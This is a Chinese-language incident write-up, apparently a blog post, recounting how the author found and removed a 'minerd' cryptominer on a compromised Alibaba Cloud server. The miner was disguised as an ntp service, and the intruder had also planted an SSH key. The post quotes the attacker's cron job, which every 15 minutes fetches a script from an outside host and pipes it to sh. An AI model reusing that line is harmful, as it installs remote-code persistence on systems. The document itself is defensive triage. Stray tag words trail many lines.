早上上班時發現阿里雲報告了一個異地登陸警告,查看發現爲早上 9 點多的時候有條異地 ip 登陸服務器;api
登陸服務器,以前服務器上傳了本地公鑰,能夠免密碼登陸,但是登陸的時候發現 ssh 還要輸密碼,登陸後發現 ~/.ssh 目錄下有個 KHK75NE0iq 的文件,替換了以前上傳的公鑰,第一想法是有人登陸了服務器,而且上傳了本身的公鑰,這樣就能夠免密鑰登陸了;服務器
analysis_一、netstat -na | grep -w 22ssh
發現只有一個鏈接,報告中的 ip 暫時沒有登陸,刪除了 ~/.ssh 目錄下的公鑰,並修改了 root 密碼,天真的歐覺得事情就這樣結束了,誰知道這僅僅是開始……curl
因爲服務器被侵入,仍是很緊張的,svn 代碼服務就放在這個服務器上的,若是被惡意刪除,估計偶就能夠打包回家了,過了沒多久,發現 ~/.ssh 目錄下這個 KHK75NE0iq 又出現了,這時候意識到服務器多是遭到了惡意程序篡改了。svn
因爲服務器進程仍是挺多的,查看 ps aux 過濾有點難,小公司因此我以爲專門定製的惡意程序基本不可能,也就是說不太多是衝着代碼和上面部署的服務來的,一種是操控侵入的服務器去作一些事情,要麼就是惡意的刪除(幸虧這麼無聊的人仍是少的,仍是要乾點事情的);google
考慮到最壞的狀況,趕忙在阿里雲上給服務器生成了磁盤快照,防止被惡意刪除,而後開始着手排查這個病毒了。阿里雲
analysis_二、netstat -naurl
寫了個腳本,監聽 22 端口,過濾出長鏈接的 ip,若是有別的 IP 鏈接就會看到,這樣就能夠判斷出密碼可能泄露了;進程
analysis_三、topcrontab
在監聽 22 端口的同時,居然沒有惡意刪除程序,也沒有破壞服務,那麼多是衝着 cpu 來的,使用 top 發現一個 minerd 的程序正在瘋狂使用 cpu,cpu 達到了 80%,判斷了這個進程不是項目有關的,第一時間 kill 掉了這個進程,但是沒過多久這個進程就又本身起來了;
analysis_四、crontab
minerd 程序 kill 以後本身又啓動了,crontab 能夠作到,查看了下 crontab -l 果真發現有條
###################################################################
*/15 * * * * curl -fsSL https://r.chanstring.com/api/report?pm=0706 | sh
###################################################################
以後 google 了這個 minerd 程序,發現也有很多服務器遭到了攻擊,利用jenkins 8080 端口的漏洞獲取到了服務器的控制權,並使用 cpu 挖礦;
這上面的 lady 程序應該是以前的,查了一下,服務器上並無這個服務,因而看了下 systemctl status
進程數,發現:
一個叫 ntp 的服務開啓了 minerd 進程
並且這個進程就是今天啓動的,而且還開機自啓。。。假裝成 ntp 也沒誰了。。。
接下來就取消了 ntp 服務的開機自啓,中止了 ntp 服務,kill 掉 了minerd 進程,產出了crontab 和文件,還有 /usr/sbin/ntp 。。。